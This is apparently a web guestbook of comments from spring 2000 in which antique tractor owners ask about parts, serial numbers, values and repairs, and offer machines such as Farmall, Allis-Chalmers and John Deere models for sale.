Doogie wrote on Friday, May 26, 2000 (PDT):In need of a good engine block for a 550 Oliver 4-cyl. gas. would consider parts tractor.
Diana Williams wrote on Friday, May 26, 2000 (PDT):My interest is I would like to know what a WD-45 tractor is worth at his time. The tractors is running and works great. Thank You
john wrote on Friday, May 26, 2000 (PDT):Can anyone tell me about a small ( 1600 lbs. ) tracked tractor called Argicat ? Made by Joost Mfg. Co , Burkley Ca.
john ward wrote on Friday, May 26, 2000 (PDT):I have a 1954 Pony, and need a hydraulic pump and the cap for the air cleaner stack. Any ideas?
Paul Schierbeek wrote on Thursday, May 25, 2000 (PDT):We have a 1937 "B" that we like to sell. it was restored about 10-12 years ago.The tractor run great. We also have the owners manual(cover missing). Also a set of steel wheels for the back. We are located in Holland, MI. Also have a set of lugs of a John Deere "A" in mint condition.
Don Holden, Genoa City, Wisconsin 53128 wrote on Thursday, May 25, 2000 (PDT):Can any tell me where I can find a fast hitch plow for a 1950 Cub. I have a beautiful tractor with (A special front end loader, Grader blade, Roto Tiller and Fast hitch mounted Woods mower) You have to see it to believe it!
patrick cross wrote on Thursday, May 25, 2000 (PDT):I have a 1953 cub . did not know if there was a way to tap into hydraulic system to run a double acting cylinder?
Bud Sorden wrote on Wednesday, May 24, 2000 (PDT):Great site Just found it Have farmed all my life with the 45s first new one in 55 and farmed over 5oo acres in row crops with two of them. Have owned three diesels and two gas but only have one of the diesels left and still use it in Iowa
Kurt wrote on Wednesday, May 24, 2000 (PDT):I'm familiar with the 8N's, however, how does the Farmall C use a bush hog? What is a drawbar. Is that where the implement is attached? Do the hydraulics operate underneath? The hydraulics don't come into play in the back of tractor do they?
Jim Borden wrote on Wednesday, May 24, 2000 (PDT):John Your tractor is most likley an International 350 Utility. International built the 300,330 and 350 in the mid to late 50's. Very simuler to the Farmall 300 ect. the steering is the change you see.
Mike Schultz wrote on Tuesday, May 23, 2000 (PDT):I bought a 2010 a year ago. It had new Paint, clutch etc. It is a rowcrop w/utility wide front and loader. Very nice tractor. I find that if you're shifting into the even gears it's best to first put the shifter up into the odd gear in that gate. If you don't sometimes it will grind.
David King wrote on Tuesday, May 23, 2000 (PDT):I know where there is one of these tractors in Illinois. It's running but needs restoring. How can I find out exactly what year it is,how much that it's worth and just how many are left of them?
Joe Giordano wrote on Tuesday, May 23, 2000 (PDT):I just bought a Massey Pony and got a parts machine with it. No motor but does have some other good stuff, let me know what you need or would sell the whole parts machine.
ted korona wrote on Tuesday, May 23, 2000 (PDT):i have recently bought a cockshut 30 that has a 3pth and power take off. the old girl starts immediately and runs well. the problem i have is, when i drained the oil i've never seen so much water mixed in. my question is how do i radify this and what kind of oil do i use(engine and trans. and gear). i am really illerate with this tractor my first. it is a gas engine.
Nick Peters wrote on Monday, May 22, 2000 (PDT):I am thinking about buying a Oliver 550 in pretty decent condition. I am wondering how much they are going for now a days? Also I would need a grill for the front of the tractor to restore it. Please respond with information.
John Nolen wrote on Monday, May 22, 2000 (PDT):I just bought what I thought was a 350 Farmall with LP gas but the manual shows a tractor with the steering gear up front. Mine has the steering gear under the steering wheel. It looks like the 300 in the above picture. Any tips on how to find out what this tractor is?
Pat wrote on Monday, May 22, 2000 (PDT):when rear tires were loaded with calcium the B pulled a two bottom plow all day.Spent a few nites with my hand down in the transmission and wife holding the lite to fix it.A great tractor for its day and I miss the noise to this day
Wally Pfennig wrote on Monday, May 22, 2000 (PDT):I also have been looking for fenders for my 'C'. I have had no luck. I'm sure that they would be pricey if anyone would be willing to sell them. Regarding 'C' hydraulics... it is my understanding that they came standard on the 'C' and it's variants. If the tractor has two levers and the implement lift arms on the sides of the hood, it has hydraulics. There is a relatively simple modification which can be made to make the machine capable of operating an external hydraulic cylinder. The hydraulic pump on these tractors has two plugs which can be fitted with hoses and piped to a valve which can then be fitted with traditional a hydraulic coupling. My only recomendation is to be careful not to run too large of an external cylinder because the hydraulic reservoir on these machines is not very large. Some models came with another lever which operated the two-point hitch. These models may have a larger reservoir. An innovative person might be able to incorporate an auxiliary reservoir if necessary. Hope this helps, Wally
Dwayne wrote on Sunday, May 21, 2000 (PDT):I have a 160 runs good, all original, always been shedded,reason for wanting to sell-I need a scoop and don't want to invest that kind of money for a tractor that old.
gilber wrote on Sunday, May 21, 2000 (PDT):I have a '42 b we bought back in 85 for $250 and it sat out for 7 years and then was stuck in the shed that I am currently restoring
gilber wrote on Sunday, May 21, 2000 (PDT):I have a '42 b we bought back in 85 for $250 and it sat out for 7 years and then was stuck in the shed that I am currently restoring
russ p wrote on Sunday, May 21, 2000 (PDT):there fine running machines mine is a beauty!
Leroy Campbell wrote on Sunday, May 21, 2000 (PDT):I have a 1952 Tractor for sale. Plows, cultivators and wheat drill for $2500. Leroy Campbell 397 N rush creek rd., Salem, iN. 47167
Lance wrote on Friday, May 19, 2000 (PDT):Enjoyed finding this site. Keep up the electricel comments. I just bought an H (1941) and it has a 12 volt system. I intend to convert back to 6 volt. Who has wiring charts handy? Which 6 volt parts are still there? Coil and starter look original 6 volt. What do I do to convert back, just add a generator?
Barry wrote on Friday, May 19, 2000 (PDT):I have just purchased a Massey Harris 44 special. I am looking for any information and pictures on this tractor and also what year these tractors were made.
Robert Philo wrote on Friday, May 19, 2000 (PDT):I just ran across your John Deer MT and was wanting to know where I could find out how to hook up the 2 bottom plow to my MT.
Jery Shoemake wrote on Friday, May 19, 2000 (PDT):Can anyone help me identify this tractor - serial number 9A-106863? This tractor is a 3-cylinder gasoline engine. Can anyone tell me if this is a 135 or what model it might be. Any help would be appreciated.
adam wrote on Thursday, May 18, 2000 (PDT):will sell or trade b modle allis chambler 1100 cash or trade for good other tractor it is 90% restored
adam wrote on Thursday, May 18, 2000 (PDT):i will trade a allis chambler b for nice good tractor the b is 90% restored all needs is point but still runs perfect
adam wrote on Thursday, May 18, 2000 (PDT):i just painted it and fixed it up a little more ill take 1100 cash you pick up it looks good someone needs to buy it is a dandy i will trade for another type of tractor to
Ron Hayes wrote on Thursday, May 18, 2000 (PDT):I have an International B N tractor for sale w/front cultivators. Engine is seized but most parts are there. will sell for parts. Make me an offer.
jim parkes wrote on Thursday, May 18, 2000 (PDT):looking for cartriges to start old field marshall tractor made in england...any suppliers out there??thks jim jimparkes at aspen.attcanada.net
Tommy wrote on Thursday, May 18, 2000 (PDT):An Avery model A is the same as A Cletrac model GG wheel tractor which used most of the same parts as the HG.Including the sheet metal,fuel tank,radiator,engine,etc. Maybe this will give some of you another source for parts.AS for me I need a set of track rollers. Can anyone help?
Doug Graham wrote on Thursday, May 18, 2000 (PDT):I am looking at a International 340 Utility ser. 8686. It is fair but the Hyd. doesn`t work, it is also gas. I need to know what year and what is a round figure for this tractor.
Lewis wrote on Wednesday, May 17, 2000 (PDT):I got a 1926 farmall regular from my uncle and want to restore it. Everything is on the tractor and i would like more information on it. Please Email me, thank you.
James D. Wampole Sr. wrote on Wednesday, May 17, 2000 (PDT): I have a 1926 Regular that I have owned since 1991 Hasn`t run since 1984 found cracked head. located another one down the street ,in process of rebuilding complete tractor
DaveS wrote on Wednesday, May 17, 2000 (PDT):I grew up on a farm. Never could afford the "green line" of tractors and my relative was an A-C dealer. We had a WD45, D17, 170, 180, D19, 190, and a 200. All were gas except the 200. I began driving the WD45 on a baler when I was 7 yrs. old and admit the hand clutch was great for "feathering" into hay lumps in windrows to keep the baler from shearing a pin. I still have the 170. It has an A-C 500 series loader on it. It was the most useful tractor on our farm. It has only about 3000 hrs. on it and has been shedded all the time. Really liked the 190 but it had more power than the rear end could handle. A weak spot. The 200 was better in that regard. We had A-C cultivators, A-C plows, an old 60 combine with a Wisconsin V-4 engine, an A-C digger, and an A-C disk. Very few A-C (Agco-Allis now) dealers still left around here. I'll always have a soft spot for those orange tractors even now. Nice to see so many of you out there who have one or like them. The 226 cu. in. 4 cylinder put out a lot of power. Only bad thing about all of the older models was that the poor operator sat down in the dirt when it was dusty/windy. If I could find a nice D14 or D15 I'd buy it as the C that we have a Woods 72" belly mower on is getting a bit touchy to start (6 volt). Sorry I rambled on.
Carl Kitchen wrote on Wednesday, May 17, 2000 (PDT):I have a MH ferguson pony, I think this model was built for a period of time during 1954 and due to patent problems with ford they went back to MH pony Its for sale and will be at Florida Flywheelers Fort Mead on Nov 9-12 00
Bob Pardee wrote on Tuesday, May 16, 2000 (PDT):I recently purchased a 1948 C. It is in pretty good condition, and had the wide (adjustable) front end, as I had hoped to find. I am looking for fenders in reasonably good condition, but am as broke as anyone restoring a tractor. I am also under the impression that the C was available at some point with hydrolics. To what extent? What year(s) were they available. Were they live? Any information would be much appreciated
David Makowski wrote on Tuesday, May 16, 2000 (PDT):Was surprised to see an artical from around here. Live in Saint Clair. Have several old Sears Garden Tractors, One Small Old Case front end Loader and just bought an old Yazoo lawn mower. No manuals or information from the seller so I was just looking around. Will try to make it to fair grounds too see your machine. If you know anyone that has info on a Yazoo e-mail me. Thanks Steam Dave
Neal & Carmen Ramber wrote on Tuesday, May 16, 2000 (PDT):We restored a 1948 Farmall Cub that belonged to Neal's Father. When I say restored, I mean it! We took it down piece by piece, had all parts brought in to be sandblasted and painted (international red). Meanwhile, we got in contact with an International Dealer in Alvin Texas and had them order us a Parts and Service Manuel. It was the best $90.00 we could have spent! When we got the tractor from the paint yard, putting it back together was a piece of cake with the manuels. We worked long and hard for 4 months restoring. We are now at a point where our 4 acreas have been cleared (using a Kubota) and we are now cutting with the cub. The yard is so well manicured. Our neighbor is thinking about buying him one. My husband just puts the hand crank in it and she fires up! I wouldn't take anything for it!
Dale Br umm wrote on Tuesday, May 16, 2000 (PDT):While attending the John Deere tractor school in Moline in 1949 the model R was one of the subjects. The first R did not have a compression release and during testing the rack stuck open and it ran faster and faster until the flywheel "exploded". One piece went through the roof and another went through the floor and another broke the wheel off an A that was close by. A new wheel was cast and before testing began a compression release was installed. The reason Deere did not make diesels before was because Catapiller had an interest in John Deere.
Lane Morrison wrote on Tuesday, May 16, 2000 (PDT): I have a Regular, purchased new by my Grandfather, Mills B. Lane. It is restored and running ,but it is missing the top of the air cleaner. It runs a John Deere sickle mower attached to the draw bar.
Roy J. Maricle ll wrote on Tuesday, May 16, 2000 (PDT):Comments; I like you web site! Questtion; How could I find a Ford N-8 or N-9 tractor to buy? (A unrestored tractor)
John & Laura Plecki wrote on Monday, May 15, 2000 (PDT):This is the make and model of tractor I have a picture of Crankshaft on in Lake Village. Talk to you later
Bruce Patterson wrote on Monday, May 15, 2000 (PDT):I bought a Super Dexta last year that is identical to the one in the picture but has a Ford loader attachment. I use the tractor every week and it "runs like a champ". It always starts well without ether even in cold weather. It's a well built strong running machine. I was fortunate to get the original owner's manual and a shop manual with the tractor.
J. F. Perry wrote on Monday, May 15, 2000 (PDT):Have a 430 Case diesel needs clutch replaced. Does anyone know where I could find parts to get this fine tractor running again? thanks.
Bob McMulkin wrote on Monday, May 15, 2000 (PDT):I own a 8N Funk 6 cyl. conversion with a Sherman two speed transmission....I'am in the process of restoring it in North Carolina...I also own a original 8N which I purchased from the origianl owner. It has very low hours on and needs nothing ...Also in the collection are a 1958 Ford model 851 with a Ford model #703-4 bucket loader and a 1955 Model 850...Sometime in the future I will send pictures of the tractors so everyone can enjoy them..
Bob McMulkin wrote on Monday, May 15, 2000 (PDT):I own a 8N Funk 6 cyl. conversion with a Sherman two speed transmission....I'am in the process of restoring it in North Carolina...I also own a original 8N which I purchased from the origianl owner. It has very low hours on and needs nothing ...Also in the collection are a 1958 Ford model 851 with a Ford model #703-4 bucket loader and a 1955 Model 850...Sometime in the future I will send pictures of the tractors so everyone can enjoy them..
Alan Yungclas wrote on Sunday, May 14, 2000 (PDT):I have just aquired an H with a belly mower. I haven't driven one of these for 40 years. The steering is very loose, seems to be in the worm gear at the front. Anyone fixed one of these before. Where can I get parts. I'm new to antique tractors. Thanks, Al
Bob Evans , Hartselle,Al wrote on Sunday, May 14, 2000 (PDT):I would like to purchase a Pacer in restored or restorable condition,within a reasonable driving distance of north central Alabama.Any info would be appreciated.Thanks
Matt Ayers wrote on Sunday, May 14, 2000 (PDT): my dad has a WD on steel and was wondering how much a pare of spoke steel rimms wold sell for. if any one knows please tell me my e-mail is colesto101 at hotmail.com thank you
stan.p wrote on Sunday, May 14, 2000 (PDT):have a 340 utility tractor gas engine frontloader. asking $4000 has good rubber allaround newrear axles seals new water pump. hood and grill has new paint change hitrans fluid in backin transmission steering. tractor run great ready to work
Zack Pifer wrote on Sunday, May 14, 2000 (PDT):I have a 1939 Allis Chalmers WC . I use it to power a Bellsaw sawmill. I don't know what the horsepower rating is on this tractor, if there is anyone who knows what it is please e-mail the info to me . Thanks
Vern Weber wrote on Sunday, May 14, 2000 (PDT):For Sale Johd Deere 420 W , Tractor is in Very Good Condition, Have owned it for three years , need room and cannot store any longer. Located in Huntsville , Oh. (northwest central Ohio. Ph. 937-686-6666. $4000.00.
Ron Kennedy wrote on Sunday, May 14, 2000 (PDT):writing from australia, the L.A. was a popular rtactor out here to convert to diesel power using the Perkins 6/354 which increased hp to 80-100 depending on rpm. was this done in other countries?
Lisa Anders wrote on Saturday, May 13, 2000 (PDT):I have tried 3 times to send my borhter a "tractor postcard" Everytime he tries to open it, it always askes for a ID number or a pin number.(I'm not sure which). So he has not been able to see the postcard's I sent to him. Could you please tell me what I am doing wrong or if the program has a problem. Thank you, Lisa
Lisa Anders wrote on Saturday, May 13, 2000 (PDT):I have tried 3 times to send my borhter a "tractor postcard" Everytime he tries to open it, it always askes for a ID number or a pin number.(I'm not sure which). So he has not been able to see the postcard's I sent to him. Could you please tell me what I am doing wrong or if the program has a problem. Thank you, Lisa
Gary E. Cole wrote on Friday, May 12, 2000 (PDT):I'm looking for a right outboard IDLER BRACKET, part number TE222Y for a MC tractor, with a serial number 10098. Thanks for any help in locating this part.
Monte Martin wrote on Friday, May 12, 2000 (PDT):I have a 1952 MT that was bought new By my dad new in 1952 it is completly restored, I did put a catagory one Quick hitch on it, and that made it nice for hooking up back blade, sprayer etc. I am looking for a set of rear wheels fo it so i can put duals on it, If anyone knows of any I would be interested in them
Lavoy Wilcox wrote on Thursday, May 11, 2000 (PDT):I have a set of track chains(no pads) to fit a Lindeman, MC, or 3-roller 40C.
Lavoy Wilcox wrote on Thursday, May 11, 2000 (PDT):I am parting out a 420 crawler with #62 six-way dozer. Grille is gone, hood is fair to good. Engine runs. Also have set of track chains for BO-40C three roller.
Robert Worthy wrote on Thursday, May 11, 2000 (PDT):I have a 1949 or 50 model 300 CASE tractor, I haven't been able to find much info on. Does anyone know of this tractor.
Andy wrote on Thursday, May 11, 2000 (PDT):I bought a 1965 D17 series IV gas from a dairy farmer who went out of business. He had just overhauled the top end and did some minor clutch work. It looked very rough when I bought it, but I knew inside it was a gem. I completely restored it and to this day it is the best tractor I have ever owned. I use it for mowing, snowplowing and general use. I wouldn't mind restoring any "D" series Allis's.
Jim Broughton wrote on Thursday, May 11, 2000 (PDT):To; Benjamin...Try Binder Books in Tigard,Oregon...Ph (503) 684-2024, they have manual reprints for Low-Boys and most ALL of their attachments/implements !! Good Luck !!
Earl wrote on Wednesday, May 10, 2000 (PDT):My brother has a 1946 Case VAC and just replaced the radiator. Problem is he can't find fanbelt or Thermostat anywhere. Can anyone help?
Michael Drake wrote on Wednesday, May 10, 2000 (PDT):I am having a problem in finding some information on a case tractor The serial # 4300857 it also says size 0.Can anybody shine some light on my proble maybe some body can give some idea on how old the tractor really is.Everybody around my area can't help me . if you can please email me.
Brian Christenson wrote on Wednesday, May 10, 2000 (PDT):One of our neighbors replaced his Farmall H with a gas 66 back when he was custom baling. Definitely a better tractor for PTO work.
Vern Weber wrote on Wednesday, May 10, 2000 (PDT):I have a john deere 420 w for sale , recent new paint ,runs good, has turf tires on rear. this tractor was used on a golf coarse.
don mclean wrote on Wednesday, May 10, 2000 (PDT):The d-17 diesel has about 68 hp
don mclean wrote on Wednesday, May 10, 2000 (PDT):The d-17 diesel has about 68 hp
Antonio A. Prete wrote on Tuesday, May 09, 2000 (PDT):I'm buying a 1947 cockshutt 30 which has the narrow front two wheels. Can these tractors be retro-fitted with the wide front; if so, how much?
Thomas gerlich wrote on Tuesday, May 09, 2000 (PDT):I am thinking about purchasing a vac case. How much hourse power do these have? Do thay have live hydrolics? What do thay have over a farmmal H that I presently own?
john puntonio wrote on Tuesday, May 09, 2000 (PDT):just bought a IH 300 with loader. need to find information on how to get parts. this is my first tractor and i am very green in this area. live in mass.
nathan knaack wrote on Tuesday, May 09, 2000 (PDT):I bought myself a farmall H and I was wondering if someone could tell me all they know about my tractor by the number I have FBH 184241 and the RPM is 1815 thanks, Nathan
nathan knaack wrote on Tuesday, May 09, 2000 (PDT):I bought myself a farmall H and I was wondering if someone could tell me all they know about my tractor by the number I have FBH 184241 and the RPM is 1815 thanks, Nathan
J. Terry Nabours wrote on Tuesday, May 09, 2000 (PDT):Have a 1949 Massey-Harris Pony Tractor and am looking for a PTO attachment in order to install a rear mower, could use a cutter bar and attachment if necessary. Any ifo?
PHIL wrote on Monday, May 08, 2000 (PDT):The serial plate above the steering wheel is missing on my TO-20. The serial # on the engine block is 101321. Does anyone know how to relate the engine serial # to the year the tractor was built?
Barry Thomas wrote on Monday, May 08, 2000 (PDT):My father-in-law drove an 8-16 when he was growing up in southern Indiana. It was his first and is still his favorite. I would love to buy one to restore and show. Any information on locating a tractor greatly appreicated.
Barry Thomas wrote on Monday, May 08, 2000 (PDT):My father-in-law drove an 8-16 when he was growing up in southern Indiana. It was his first and is still his favorite. I would love to buy one to restore and show. Any information on locating a tractor greatly appreicated.
Dwayne wrote on Sunday, May 07, 2000 (PDT):Mike & Nick have you sold your 160/ How much if not? Where are you located?
Bruce Jack Edwards wrote on Sunday, May 07, 2000 (PDT):I'm looking for a MC or a 40C to purchase and restore for an exhibit here in SLC. Would appreciate hearing from anyone who has a restorable machine for sale or knows of one for sale by someone else.
Reed Nichols wrote on Sunday, May 07, 2000 (PDT):According to one source that I found, there were approximately 600 IH 350 HU tractors made. Haven't been able to get any more information than that. This man said they were a rare tractor and he deals in antique and classics.
Sandra Hazzard wrote on Sunday, May 07, 2000 (PDT): To whom it may concern, I was visiting this site, and seen a picture of the above Wallis 15-27. My father owns one very simular, and was interested in where this tractor came from, who owns it and how they came about having it? If you have any information about the year, model etc. we would kindly like a response. My father and I can be reached at the above e-mail addy. Thank you Sandra Hazzard ON. Canada
Sten Söderblom wrote on Saturday, May 06, 2000 (PDT):I have a 1949 FORD 8NAN. I have problems with jamming valves which makes the tractor very difficult to start. What could be the reason? By the way I am always using normal unleeded petrol never kerosene. Should the hydraulic be noicy ( say klick klick ) when overloaded? Where could I find drawings for hydraulic equipment + a suitable trailer to carry logs, sand etc. etc. I have once seen a hand brake installed on a 8NA. It was linked to the foot brake. Very practical, the lever was on the right side on top of the gear box. Is this original equipment or someone who got enough of finding the very small, from time to time, not releasing mechanism on the right and the left side down there somewhere? You recognise the problem? Kind Regards Sten
Greg Brink wrote on Friday, May 05, 2000 (PDT):I am looking for information on John Deere crawler tractors. My father recently purchased a JD crawler and the seller said it was a JD 420. My father has reason to think it is a JD 40. I think it is about a 1946. How can we tell whether it is a 40 or 420? Also does anyone have information about the type of carburator for the JD crawlers?
Bill wrote on Friday, May 05, 2000 (PDT):I also need to know what kind of hydraulic oil to use in my D17 AC.
Bill wrote on Friday, May 05, 2000 (PDT):I have a D17 series IV 1965 or 1966 year model. I am having some trouble with the hydraulics. When I use a 3-pt piece of equipment the hydraulics will not hold the equipment down. If I'm pulling a bush-hog or a small disc. It seems that if i'm on completely level ground it does better but it not the 3-pt hitch will raise up. When i'm using a disc, it will not go it the ground only 1-2 inches, even in soft ground. Can anyone explain to me what the problem might be?
Amanda Stewart wrote on Thursday, May 04, 2000 (PDT):My dad sold his tractor last night.
Gary Whiteley wrote on Wednesday, May 03, 2000 (PDT):We just bought an Allis Chalmers D17 with diesel engine. The guy I bought it from said it is a 1960 model and it is 65 hp. My uncle and cousin say is could not me 65 hp, that it is probably only a 40 something hp. What is the hp of the D17 diesel?
Dennis Seaton wrote on Wednesday, May 03, 2000 (PDT):Just a note to tell the readers what i decided to do to my h.I put a 12 volt battery besided the 6 volt battery and wired just the starter to the 12 volt battery for this was the only reason i wanted 12 volts , for starting. Tractor runs fine on 6 but starting was sometimes troublesom. 12 volt battery spins engine and the ol girl starts within 2 turns of the engine. If want to sell all i need to do is hook the old wire to the starter back up, and your back to original. Thanks to all who responded but I come up with this one myself.
Norman Lumgair wrote on Tuesday, May 02, 2000 (PDT):I am looking for the year of my IHC Farmall Super MD TA tracor. The serial number is 76282 S. Anyone having any information on this tractor please email me at the enclosed address. Thank-you
Kellee wrote on Tuesday, May 02, 2000 (PDT):Hi, my dad is looking for the year of his John Deere D, the serial number on it is 80011. Any information about this tractor would be greatly appreciated so please send it to the email address above. Thank you
Gayle Zonnefeld wrote on Tuesday, May 02, 2000 (PDT):I was raised on a farm in Iowa and the old G was the work horse. We did everything with it and plowed snow in the winter. It out worked just about every tractor we came into contact. I even entered it in an early tractor pull. Just drove it in from the field and hooked up. We won first place and beat 300, 560 and MTA farmalls. Dad was real proud. Now I live in the city and have to be the only one who has a restored G in the back yard. Some mornings I just have to crank her over and hear that sound. Kinda like a Harley owner.
Paul Hodgson wrote on Tuesday, May 02, 2000 (PDT):Can anyone suggest a place to buy an original style muffler for a 1951 Pony. Would greatly appreciate as using this tractor for a fund raiser and would like to keep as original as we can. Thanks!!!!!!!
mac pullen wrote on Monday, May 01, 2000 (PDT):bought a 2n sn 226673 in good shape but not much range on three point hitch and is not too strong. It is adeq, for what I do but tractor is so good and neat I wish it were better. Use 90 wt mineral oil for gear oil. please reply.
Chris Dauphinais wrote on Monday, May 01, 2000 (PDT):We are looking at a Super Dexta for $4500. It's recently rebuilt with about 500 hours since rebuilding. We know nothing about this tractor. We've been told it's a great workhorse and is very reliable. We have a very small farm and need it for mowing, etc. We'd like any useful info on the tractor and the price, preferable before 5-12-00. Thanks
Jeff Nichols wrote on Monday, May 01, 2000 (PDT):I recently purchased a 1939 9N with two 3 point attachments (2 bottom plow and a cultivater) for $400.00. I'm restoring the 9N and would like to find out the original color scheme. The bottom of the tractor was red and the rest is sky blue. Is that original? Any help would be greatly appreciated! I've searched the web and I haven't found anything like the colors on mine. Nice web site.
Amanda Stewart wrote on Monday, May 01, 2000 (PDT):My father owns a FarmallSuperM tractor with hydraulics that he wants to sell. He is not sure what year it was made. He still uses it every year for hay. If anyone is interested in buying one please write back to me or call him at home his ph. # is (501)728-3281.
mitch wrote on Sunday, April 30, 2000 (PDT):im looking for any allis chalmers g attachments and a left hand plow.
Hal O. Friend wrote on Sunday, April 30, 2000 (PDT):Does anyone have any information about a Fordson P6 Perkins? If so please e-mail me as I would like as much information as possible. I know they are a brilliant tractor but very little else.
chris wrote on Sunday, April 30, 2000 (PDT):want to know the horsepower for 2000 series 4 cylinder and value of tractor please??
Mark Smart wrote on Sunday, April 30, 2000 (PDT):Working on restoring A 1946 W-9. Trying to find a oversized piston & sleeves rebuild kit to give her a little more grunt for the tractor pull circuit. Havn't been able to find one anywhere. Know where I could find one? Any help is appreciated, so please let me know.
tracy redd wrote on Saturday, April 29, 2000 (PDT):I bought late model B in summer of '99. It was fair shape but, it runs good. the 4th and 6th gear is out . I took it to a man who know a lot about john deere 2 cyl. tractor to fix the transmission. i was trying to find out what the serial #. my serial # plate is badly damage. there no way that i can read the number. that man who fix the transmission said that model B is '52. Is there any other way i can get this number or does anybody knows what to do with serial #. do you think i should get a new one. I really don"t know the serial #. I'm really enjoy work on model B. Right now, I'm fixin' get ready for body work and painting like new. Yeah!!!!! John Deere is #1!!! thank you so much
tracy redd wrote on Saturday, April 29, 2000 (PDT):march 29, 2000 I have 1937 farmall F-20. It run real good. It got a crack outside the engine block. I went to different welding shop and they said they can't weld it, because the crack is too long. and I put putty weld on the block. that keep water from out of the engine. do you think that putty weld will work? I need help to find the engine block. is there anyplace i can find or does anyone know where i can find? thanks.
scott macosta wrote on Saturday, April 29, 2000 (PDT):i built a 3 point hitch from scratch for my h,1952.i can lift 1000 lb. round bales with ease,it has dual lift cylinders,and adjustable arms.with all of the extra capabilities of the 3 point my h is perfect for my small farm.
Peter Lord wrote on Saturday, April 29, 2000 (PDT):We have a Massy Harris Pony 1951,and are almost done restoring it all we need to find are the rear fenders to make our tractor complete. If anyone can help us please contact us.
Peter Lord wrote on Saturday, April 29, 2000 (PDT):We have a Massy Harris Pony 1951,and are almost done restoring it all we need to find are the rear fenders to make our tractor complete. If anyone can help us please contact us.
Mark wrote on Saturday, April 29, 2000 (PDT):I have a 1953 Case VAI, which appears to have several coats of yellow paint with gray underneath. I don't know if the gray is a primer. There are very few parts that even resemble anything red. Could anyone please tell me the original color scheme of this tractor?
Richard Pavadore wrote on Friday, April 28, 2000 (PDT):I have a 1942-1945 Farmall A tractor. I cannot find the serial number on it. I heard the serial number can be linked to the year. It is in good condition and I use it for hay rides all the time.
Louise Savard wrote on Friday, April 28, 2000 (PDT):I need pictures and documentary about old Ford tractors and tools used in 1940 1950 to work the field. It's for a paper. please leave yours answers.Leaves your names and adress for credits. Big thanks from Quebec, Canada
kelly wrote on Friday, April 28, 2000 (PDT):if you stay in tractorshed.com select the tractor and then go to the bottom of the page and click on serial numbers and it will give you the date of mfg.
kelly wrote on Friday, April 28, 2000 (PDT):if you stay in tractorshed.com select the tractor and then go to the bottom of the page and click on serial numbers and it will give you the date of mfg.
bob stephens wrote on Wednesday, April 26, 2000 (PDT):I have 2 model 15-30's. 1 is made in U.S. and 1 in Canada. The Canadian tractor appears to be originally red while the U.S. one appears to be originally grey. Is this right? Thanks.
ed read wrote on Wednesday, April 26, 2000 (PDT):This was the only tractor i ever flipped was my dad pissed
marsha smith wrote on Wednesday, April 26, 2000 (PDT):My family has a Farmall A. If the original seat bracket/seat is missing, how do we find out what year the tractor is?
Brandon Besser wrote on Wednesday, April 26, 2000 (PDT):I am looking for any 56 or 66 series tractors that are in need of repair. If you have any leads they are greatly appreciated.
T.W. Hertel wrote on Wednesday, April 26, 2000 (PDT):I've restored my grandfathers 1951 E4 Co-op Diesel. Great running tractor. I still need to get a Co-op nose strip. If anyone know where I could obtain one, please let me know. This tractor is registered in the YT registry with a photo.
Gordon wrote on Wednesday, April 26, 2000 (PDT):I purchased a 9N that I thought I'd checked over pretty good but after running a few days found what appears to be a hair line crack on the side of the block. A very small amount of water oozes out 1 inch below the head and 2 inches behind the rear oil filter bolt. Will traditional Stop Leak work for a temperary fix? Any one else had this problem?
Jack Mc Donald wrote on Tuesday, April 25, 2000 (PDT):Peter Houghton (England) is correct. I grew up with a late 30's Z. It had the sloped out at the bottom red grill, also totally red wheels. I now have a '51 Z. It is very similar to the one pictured except the steering shaft runs fairly straight with the tractor. Hood and grill design is like the one shown.
Ray wrote on Tuesday, April 25, 2000 (PDT):I have a pony tractor I am restoring. The manufacturer's tag reads Massey-Harris-Ferguson serial# PGA-23598. I cannot find date of mfg. on either Massey-Harris or Ferguson web pages can anyone help?
PETER HOUGHTON. (England) wrote on Tuesday, April 25, 2000 (PDT):The tractor in the photo is definately not 1937. My grandfather bought a Universal Z in 1941. We still have it and it is the same bonnet design as the RT models with the red front grill. The tractor in the photo is much newer than 1937.
Guy Guernsey wrote on Monday, April 24, 2000 (PDT):I am looking to buy a case vac tractor with a wide front end
Jim wrote on Monday, April 24, 2000 (PDT):My 160 runs great. Got the brake problem, it stops. I have a front loader on it, oversized had to block up the frame. jim
phillip french wrote on Monday, April 24, 2000 (PDT):my frend herb has a AC d-15 series 2 diesel tractor I would like to know how many are made, and the value. thank yuo flip.
Danny Marshall wrote on Monday, April 24, 2000 (PDT):I have just purchased a BF Avery V. I really don't know that much about Avery tractors. If anyone has any info that might help me paint this the original color, I would greatly appreciate it. Right now, the tractor is red and yellow. I have read that the tractors are both red and yellow, but I would really like to know the original color of the tractor that I just purchased. I do have th serial number (I think) if it would help. My email address is regular27 at yahoo.com. Please email me with any information that you might have, I would appreciate it.
Pam Stiteler wrote on Monday, April 24, 2000 (PDT):4/23/00 I have run one of these tractors Farmall AV. They were used mainlly in the south for surgar cane and tobacco farms. I donn't have my book in front of me but there is a way to tell what year they are by the letters in the serial #. We are restoring one at the moment for the tractor show that is coming up in our area. Would love to here from you on this tractor.
Robert Sell wrote on Monday, April 24, 2000 (PDT):I have an old A-C, WC with tricycle front and a Model M engine with cracked block. Pretty rough. Any offers call (509) 732 6221.
Robert Sell wrote on Monday, April 24, 2000 (PDT):I have an old A-C model M with tricycle front end. Engine has cracked block. most of the rest is there for parts. Phone (509) 732 6221 with any offers.
Robert Sell wrote on Monday, April 24, 2000 (PDT):I have a dead Case 500 Diesel. Phone (509) 732 6221 with any offers. This machine is restoreable or would be good for most of the parts.
Stew Miskiman wrote on Sunday, April 23, 2000 (PDT):I have a Farmall Cub A that is not running; body is in excellent shape. Also has attached midmount mower. I curious as to how much it's worth. Please respond
Greg Robinson wrote on Sunday, April 23, 2000 (PDT):I am in the process of restoring a WD-9. Any and all information, especially the gas to diesel switchover process, would be greatly appreciated. Please make the subject of the e-mail WD-9 as I get a great deal of B.S. mail. Thank you in advance for your time ps I have a B.S (bachelor of science not bull shi__) Mechanical Engineering degree and am currently looking for a job if anyone has any leads!
Dom Delia wrote on Sunday, April 23, 2000 (PDT):After finding my farmall H rusting in a field for 25 years all I had to do was pound out the pistons with A sledge and A piece of 2x4, hone the cyl's, re-ring,sand and paint it.That was 10yrs ago! these are one tough machine!!!!!!
